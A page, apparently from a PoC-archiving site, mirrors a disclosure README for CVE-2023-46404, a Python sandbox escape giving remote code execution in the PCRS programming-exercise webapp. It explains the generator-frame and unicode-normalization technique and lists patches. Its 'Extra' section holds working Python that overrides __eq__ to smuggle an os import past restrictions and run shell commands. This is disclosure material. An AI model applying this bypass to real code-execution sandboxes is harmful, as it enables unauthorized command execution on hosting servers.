Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-46404 PoC — PCRS 安全漏洞

Source
Associated Vulnerability
Title:PCRS 安全漏洞 (CVE-2023-46404)
Description:PCRS是一款将交互式编程练习与视频教学捆绑在一起的应用程序。 PCRS 3.11版本及之前版本存在安全漏洞。攻击者利用该漏洞可以远程执行代码。
Description
PoC and Writeup for CVE-2023-46404.
Readme
# CVE-2023-46404

[PCRS](https://mcs.utm.utoronto.ca/~pcrs/pcrs/) is a webapp for online programming exercises developed at the University of Toronto.
See Bitbucket repository: https://bitbucket.org/utmandrew/pcrs/src/3.11/

## Summary
PCRS “Questions” page with code submission and “Code editor” page are vulnerable to remote code execution (RCE) by escaping Python sandboxing.

## Details
Remote code execution can be achieved in PCRS instances through the use of generator objects. By using generator frames (gi_frame) and f_back, scripts can traverse out of a sandboxed stack frame and execute malicious code in an unsandboxed environment. Additionally, unicode normalization can easily bypass basic input sanitization. Any authenticated user with minimum privileges can perform this attack. See PoC for more details.

## Known Affected Versions
* PCRS <= 3.11 d0de1e with Python execution.
* Patch implemented in [9326ad3](https://bitbucket.org/utmandrew/pcrs/commits/9326ad3b904976c520150a82cd6ad0c6dad44b06) with partial mitigation in [
fbaedd3](https://bitbucket.org/utmandrew/pcrs/commits/fbaedd361e1d206777af2d89a7064bed9c772957).

## Mitigation
Crafting secure isolation mechanisms from scratch is prone to oversights and vulnerabilities. As always, it is better to sandbox an execution environment than a language.

### Extra
Overriding `__eq__` can be used in a restricted environment:

```python
def f():
    mod_name = "os"
    fake_name = "json"
    os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
    os.system("id > /tmp/test.txt")
    s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
    os.system("rm /tmp/test.txt")
    return s
```
File Snapshot

[4.0K] /data/pocs/8fff4ad09109edac1600d3853e29e145a6e5e560 ├── [ 883] poc.py └── [1.7K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.